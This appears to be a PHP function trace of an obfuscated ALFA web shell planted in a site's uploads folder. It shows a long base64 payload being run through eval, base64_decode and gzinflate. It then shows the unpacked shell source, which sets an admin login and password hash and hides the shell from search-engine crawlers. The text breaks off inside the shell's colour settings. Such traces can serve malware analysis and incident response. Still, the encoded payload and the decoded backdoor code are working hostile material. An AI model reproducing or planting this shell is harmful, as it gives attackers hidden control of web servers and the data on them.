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\')));' /var/www/html/uploads/0x00.php(14) : runtime-created function 1 0
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 GLOBALS['DB_NAME'] = ['usbiXfk' => 'admin', 'paXyxwXhwzTsdrQJM' => '3b0df409b12f543e73094dca34b1d6bb', 'saWVqQbuhCHZhjkY' => '0', 'loVMocQaLDkVyJGdU' => '403', 'shzJBXLmckRX' => '1', 'poPHAiEOFtpyr' => FALSE, 'cgUGhgfQZttvPBF' => TRUE]
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 $key = 'usbiXfk'
4 15 0 0.018040 966600 substr 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 3 'usbiXfk' 0 2
4 15 1 0.018058 966728
4 15 R 'us'
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 $prefix = 'us'
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 GLOBALS['DB_NAME']['user'] = 'admin'
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 GLOBALS['DB_NAME']['user_rand'] = 'usbiXfk'
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 $key = 'paXyxwXhwzTsdrQJM'
4 16 0 0.018132 967328 substr 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 3 'paXyxwXhwzTsdrQJM' 0 2
4 16 1 0.018149 967456
4 16 R 'pa'
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 $prefix = 'pa'
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 GLOBALS['DB_NAME']['pass'] = '3b0df409b12f543e73094dca34b1d6bb'
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 GLOBALS['DB_NAME']['pass_rand'] = 'paXyxwXhwzTsdrQJM'
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 $key = 'saWVqQbuhCHZhjkY'
4 17 0 0.018222 967328 substr 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 3 'saWVqQbuhCHZhjkY' 0 2
4 17 1 0.018239 967456
4 17 R 'sa'
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 $prefix = 'sa'
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 GLOBALS['DB_NAME']['safemode'] = '0'
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 GLOBALS['DB_NAME']['safemode_rand'] = 'saWVqQbuhCHZhjkY'
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 $key = 'loVMocQaLDkVyJGdU'
4 18 0 0.018314 967328 substr 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 3 'loVMocQaLDkVyJGdU' 0 2
4 18 1 0.018331 967456
4 18 R 'lo'
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 $prefix = 'lo'
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 GLOBALS['DB_NAME']['login_page'] = '403'
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 GLOBALS['DB_NAME']['login_page_rand'] = 'loVMocQaLDkVyJGdU'
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 $key = 'shzJBXLmckRX'
4 19 0 0.018401 967328 substr 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 3 'shzJBXLmckRX' 0 2
4 19 1 0.018418 967456
4 19 R 'sh'
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 $prefix = 'sh'
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 GLOBALS['DB_NAME']['show_icons'] = '1'
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 GLOBALS['DB_NAME']['show_icons_rand'] = 'shzJBXLmckRX'
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 $key = 'poPHAiEOFtpyr'
4 20 0 0.018487 967968 substr 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 3 'poPHAiEOFtpyr' 0 2
4 20 1 0.018503 968096
4 20 R 'po'
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 $prefix = 'po'
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 GLOBALS['DB_NAME']['post_encryption'] = FALSE
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 GLOBALS['DB_NAME']['post_encryption_rand'] = 'poPHAiEOFtpyr'
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 $key = 'cgUGhgfQZttvPBF'
4 21 0 0.018574 967968 substr 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 3 'cgUGhgfQZttvPBF' 0 2
4 21 1 0.018595 968096
4 21 R 'cg'
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 $prefix = 'cg'
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 GLOBALS['DB_NAME']['cgi_api'] = TRUE
3 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 GLOBALS['DB_NAME']['cgi_api_rand'] = 'cgUGhgfQZttvPBF'
4 22 0 0.018654 967968 __ZGVjb2Rlcg 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 5 1 '7L15e9rIsjj895znOd9Bo/FEcIxZvUKw4wUvibd4jWP7cgQIkC0QkYSx4/H97G9VdbfUEhLGmeQuv/fOYqDX6urq6qrq6uq11fdrg+7gn/8w26nfjd7Ae0rN1E9rJxe1k2tt9+zsuH4Ov+rrO7XDM+02nX6eGbqGs94x+p6rVBXdcfSnlLpj2x3LUDPqqTV0BvB5cHq4YXvwxdTrutPsmg+GA7+u9H7LeIQvJ3qvYVFSg4q5A7MFP9MVAGPgGJ16T/ea3ZSW07Jmb2DZLSOl/aVlpM7TWS1nQspEYLuGDs2mKC9XyOaV+fy8cmh7yrY97Le0dMV4NL3Kywsbvum6hpea2dk/2ljfP73Wtjbqh+sHNe32WsN+sUUsn9L8IjeizA0UuqFS8A3afbXBge66rzeIpaZs0NXbRg/w9HqjouSUDVt2x+zXB3pniqaDstNC3bVHdbNp96dARlB2Whzbrlc3+k3naeCZdn8KdIcriG5aRtvsGym1Xl/f316vA7Wd'
5 23 0 0.018785 967968 klNGpRn 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 3 1 '7L15e9rIsjj895znOd9Bo/FEcIxZvUKw4wUvibd4jWP7cgQIkC0QkYSx4/H97G9VdbfUEhLGmeQuv/fOYqDX6urq6qrq6uq11fdrg+7gn/8w26nfjd7Ae0rN1E9rJxe1k2tt9+zsuH4Ov+rrO7XDM+02nX6eGbqGs94x+p6rVBXdcfSnlLpj2x3LUDPqqTV0BvB5cHq4YXvwxdTrutPsmg+GA7+u9H7LeIQvJ3qvYVFSg4q5A7MFP9MVAGPgGJ16T/ea3ZSW07Jmb2DZLSOl/aVlpM7TWS1nQspEYLuGDs2mKC9XyOaV+fy8cmh7yrY97Le0dMV4NL3Kywsbvum6hpea2dk/2ljfP73Wtjbqh+sHNe32WsN+sUUsn9L8IjeizA0UuqFS8A3afbXBge66rzeIpaZs0NXbRg/w9HqjouSUDVt2x+zXB3pniqaDstNC3bVHdbNp96dARlB2Whzbrlc3+k3naeCZdn8KdIcriG5aRtvsGym1Xl/f316vA7Wd'
6 24 0 0.018913 967968 base64_decode 0 /var/www/html/uploads/0x00.php 14 1 '7L15e9rIsjj895znOd9Bo/FEcIxZvUKw4wUvibd4jWP7cgQIkC0QkYSx4/H97G9VdbfUEhLGmeQuv/fOYqDX6urq6qrq6uq11fdrg+7gn/8w26nfjd7Ae0rN1E9rJxe1k2tt9+zsuH4Ov+rrO7XDM+02nX6eGbqGs94x+p6rVBXdcfSnlLpj2x3LUDPqqTV0BvB5cHq4YXvwxdTrutPsmg+GA7+u9H7LeIQvJ3qvYVFSg4q5A7MFP9MVAGPgGJ16T/ea3ZSW07Jmb2DZLSOl/aVlpM7TWS1nQspEYLuGDs2mKC9XyOaV+fy8cmh7yrY97Le0dMV4NL3Kywsbvum6hpea2dk/2ljfP73Wtjbqh+sHNe32WsN+sUUsn9L8IjeizA0UuqFS8A3afbXBge66rzeIpaZs0NXbRg/w9HqjouSUDVt2x+zXB3pniqaDstNC3bVHdbNp96dARlB2Whzbrlc3+k3naeCZdn8KdIcriG5aRtvsGym1Xl/f316vA7Wd'
6 24 1 0.019442 1140032
6 24 R '�y{�Ȳ8����9�A��Dp�Y�B��\005/��x�c�r\004\b�-\020������oUu��\022\022ƙ�.���b����������k���0۩ߍ�{J��Ok\'\027��km���~\016���;��3�6�~�\031����1���T\025�q�c�\035�P3�5t\006�ypz�a{������\017�\003���~�x�/\'z�aQR���\003�\005?�\025\000c�\030�zO��ݔ�Ӳfo`�-#���e���Y-gB�D`��\016ͦ(/W����rh{ʶ=췴t�x4���\v\033�麆����?�X�?�ֶ6��\a5�Z�~�E,��"7��\r\024��R�\r�}���7���l���F\017��z���\r[v���\azg�����BݵGu�i��@FPvZ\034ۮW7�M�i�v\nt�+�nZF��\033)�^_��^�\003���\035\035��jFQ�\0055����Y�\025)�\025�<ڪ'
5 23 1 0.021786 1140000
5 23 R '�y{�Ȳ8����9�A��Dp�Y�B��\005/��x�c�r\004\b�-\020������oUu��\022\022ƙ�.���b����������k���0۩ߍ�{J��Ok\'\027��km���~\016���;��3�6�~�\031����1���T\025�q�c�\035�P3�5t\006�ypz�a{������\017�\003���~�x�/\'z�aQR���\003�\005?�\025\000c�\030�zO��ݔ�Ӳfo`�-#���e���Y-gB�D`��\016ͦ(/W����rh{ʶ=췴t�x4���\v\033�麆����?�X�?�ֶ6��\a5�Z�~�E,��"7��\r\024��R�\r�}���7���l���F\017��z���\r[v���\azg�����BݵGu�i��@FPvZ\034ۮW7�M�i�v\nt�+�nZF��\033)�^_��^�\003���\035\035��jFQ�\0055����Y�\025)�\025�<ڪ'
4 22 1 0.024120 1140000
4 22 R '�y{�Ȳ8����9�A��Dp�Y�B��\005/��x�c�r\004\b�-\020������oUu��\022\022ƙ�.���b����������k���0۩ߍ�{J��Ok\'\027��km���~\016���;��3�6�~�\031����1���T\025�q�c�\035�P3�5t\006�ypz�a{������\017�\003���~�x�/\'z�aQR���\003�\005?�\025\000c�\030�zO��ݔ�Ӳfo`�-#���e���Y-gB�D`��\016ͦ(/W����rh{ʶ=췴t�x4���\v\033�麆����?�X�?�ֶ6��\a5�Z�~�E,��"7��\r\024��R�\r�}���7���l���F\017��z���\r[v���\azg�����BݵGu�i��@FPvZ\034ۮW7�M�i�v\nt�+�nZF��\033)�^_��^�\003���\035\035��jFQ�\0055����Y�\025)�\025�<ڪ'
4 25 0 0.026810 1140000 gzinflate 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code 5 1 '�y{�Ȳ8����9�A��Dp�Y�B��\005/��x�c�r\004\b�-\020������oUu��\022\022ƙ�.���b����������k���0۩ߍ�{J��Ok\'\027��km���~\016���;��3�6�~�\031����1���T\025�q�c�\035�P3�5t\006�ypz�a{������\017�\003���~�x�/\'z�aQR���\003�\005?�\025\000c�\030�zO��ݔ�Ӳfo`�-#���e���Y-gB�D`��\016ͦ(/W����rh{ʶ=췴t�x4���\v\033�麆����?�X�?�ֶ6��\a5�Z�~�E,��"7��\r\024��R�\r�}���7���l���F\017��z���\r[v���\azg�����BݵGu�i��@FPvZ\034ۮW7�M�i�v\nt�+�nZF��\033)�^_��^�\003���\035\035��jFQ�\0055����Y�\025)�\025�<ڪ'
4 25 1 0.030602 1598784
4 25 R '?><?php\r\nif(!empty($_SERVER[\'HTTP_USER_AGENT\'])){$userAgents = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler","bot","spider");if(preg_match(\'/\'.implode(\'|\',$userAgents).\'/i\',$_SERVER[\'HTTP_USER_AGENT\'])){header(\'HTTP/1.0 404 Not Found\');exit;}}\r\nif(!isset($GLOBALS[\'DB_NAME\'][\'user\']))exit(\'$GLOBALS[\\\'DB_NAME\\\'][\\\'user\\\']\');\r\nif(!isset($GLOBALS[\'DB_NAME\'][\'pass\']))exit(\'$GLOBALS[\\\'DB_NAME\\\'][\\\'pass\\\']\');\r\nif(!isset($GLOBALS[\'DB_NAME\'][\'safe'
4 26 0 0.042344 3764008 eval 1 '?><?php\r\nif(!empty($_SERVER[\'HTTP_USER_AGENT\'])){$userAgents = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler","bot","spider");if(preg_match(\'/\'.implode(\'|\',$userAgents).\'/i\',$_SERVER[\'HTTP_USER_AGENT\'])){header(\'HTTP/1.0 404 Not Found\');exit;}}\r\nif(!isset($GLOBALS[\'DB_NAME\'][\'user\']))exit(\'$GLOBALS[\\\'DB_NAME\\\'][\\\'user\\\']\');\r\nif(!isset($GLOBALS[\'DB_NAME\'][\'pass\']))exit(\'$GLOBALS[\\\'DB_NAME\\\'][\\\'pass\\\']\');\r\nif(!isset($GLOBALS[\'DB_NAME\'][\'safemode\']))exit(\'$GLOBALS[\\\'DB_NAME\\\'][\\\'safemode\\\']\');\r\nif(!isset($GLOBALS[\'DB_NAME\'][\'login_page\']))exit(\'$GLOBALS[\\\'DB_NAME\\\'][\\\'login_page\\\']\');\r\nif(!isset($GLOBALS[\'DB_NAME\'][\'show_icons\']))exit(\'$GLOBALS[\\\'DB_NAME\\\'][\\\'show_icons\\\']\');\r\nif(!isset($GLOBALS[\'DB_NAME\'][\'post_encryption\']))exit(\'$GLOBALS[\\\'DB_NAME\\\'][\\\'post_encryption\\\']\');\r\ndefine("__ALFA_VERSION__", "4.1");\r\ndefine("__ALFA_UPDATE__", "2");\r\ndefine("__ALFA_CODE_NAME__", "Tesla");\r\ndefine("__ALFA_DATA_FOLDER__", "ALFA_DATA");\r\ndefine("__ALFA_POST_ENCRYPTION__", (isset($GLOBALS["DB_NAME"]["post_encryption"])&&$GLOBALS["DB_NAME"]["post_encryption"]==true?true:false));\r\ndefine("__ALFA_SECRET_KEY__", __ALFA_POST_ENCRYPTION__?_AlfaSecretKey():\'\');\r\n$GLOBALS[\'__ALFA_COLOR__\'] = array(\r\n\t\t"shell_border" => array(\r\n\t\t\t"key_color" => "#0E304A",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".header" => "border: 7px solid {color}",\r\n\t\t\t\t"#meunlist" => "border-color: {color}",\r\n\t\t\t\t"#hidden_sh" => "background-color: {color}",\r\n\t\t\t\t".ajaxarea" => "border: 1px solid {color}",\r\n\t\t\t\t".foot" => "border-color: {color}",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"header_vars" => "#27979B",\r\n\t\t"header_values" => "#67ABDF",\r\n\t\t"header_on" => "#00FF00",\r\n\t\t"header_off" => "#ff0000",\r\n\t\t"header_none" => "#00FF00",\r\n\t\t"home_shell" => "#ff0000",\r\n\t\t"home_shell:hover" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".home_shell:hover" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"back_shell" => "#efbe73",\r\n\t\t"back_shell:hover" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".back_shell:hover" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"header_pwd" => "#00FF00",\r\n\t\t"header_pwd:hover" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".header_pwd:hover" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"header_drive" => "#00FF00",\r\n\t\t"header_drive:hover" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".header_drive:hover" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"header_show_all" => "#00FF00",\r\n\t\t"disable_functions" => "#ff0000",\r\n\t\t"footer_text" => "#27979B",\r\n\t\t"menu_options" => "#27979B",\r\n\t\t"menu_options:hover" => array(\r\n\t\t\t"key_color" => "#646464",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".menu_options:hover" => "background-color: {color};font-weight: unset;",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"options_list" => array(\r\n\t\t\t"key_color" => "#00FF00",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".content_options_holder .header center a" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"options_list:hover" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".content_options_holder .header center a:hover" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"options_list_header" => array(\r\n\t\t\t"key_color" => "#59cc33",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".txtfont_header" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"options_list_text" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".txtfont,.tbltxt" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"Alfa+" => array(\r\n\t\t\t"key_color" => "#06ff0f",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".alfa_plus" => "color: {color};font-weight: unset;",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"hidden_shell_text" => array(\r\n\t\t\t"key_color" => "#00FF00",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"#hidden_sh a" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"hidden_shell_version" => "#ff0000",\r\n\t\t"shell_name" => "#FF0000",\r\n\t\t"main_row:hover" => array(\r\n\t\t\t"key_color" => "#646464",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".main tr:hover" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"main_header" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".main th" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"main_name" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".main .main_name" => "color: {color};font-weight: unset;",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"main_size" => "#67ABDF",\r\n\t\t"main_modify" => "#67ABDF",\r\n\t\t"main_owner_group" => "#67ABDF",\r\n\t\t"main_green_perm" => "#25ff00",\r\n\t\t"main_red_perm" => "#FF0000",\r\n\t\t"main_white_perm" => "#FFFFFF",\r\n\t\t"beetween_perms" => "#FFFFFF",\r\n\t\t"main_actions" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".main .actions" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"menu_options:hover" => array(\r\n\t\t\t"key_color" => "#646464",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".menu_options:hover" => "background-color: {color};font-weight: unset;",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"minimize_editor_background" => array(\r\n\t\t\t"key_color" => "#0e304a",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".minimized-wrapper" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"minimize_editor_text" => array(\r\n\t\t\t"key_color" => "#f5deb3",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".minimized-text" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_border" => array(\r\n\t\t\t"key_color" => "#0e304a",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".editor-explorer,.editor-modal" => "border: 2px solid {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_background" => array(\r\n\t\t\t"key_color" => "rgba(0, 1, 23, 0.94)",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".editor-explorer,.editor-modal" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_header_background" => array(\r\n\t\t\t"key_color" => "rgba(21, 66, 88, 0.93)",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".editor-header" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_header_text" => array(\r\n\t\t\t"key_color" => "#00ff7f",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".editor-path" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_header_button" => array(\r\n\t\t\t"key_color" => "#1d5673",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".close-button, .editor-minimize" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_actions" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".editor_actions" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_file_info_vars" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".editor_file_info_vars" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_file_info_values" => array(\r\n\t\t\t"key_color" => "#67ABDF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".filestools" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_history_header" => array(\r\n\t\t\t"key_color" => "#14ff07",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".hheader-text,.history-clear" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_history_list" => array(\r\n\t\t\t"key_color" => "#03b3a3",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".editor-file-name" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_history_selected_file" => array(\r\n\t\t\t"key_color" => "rgba(49, 55, 93, 0.77)",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".is_active" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"editor_history_file:hover" => array(\r\n\t\t\t"key_color" => "#646464",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".file-holder > .history:hover" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"input_box_border" => array(\r\n\t\t\t"key_color" => "#0E304A",\r\n\t\t\t"multi_selector" => 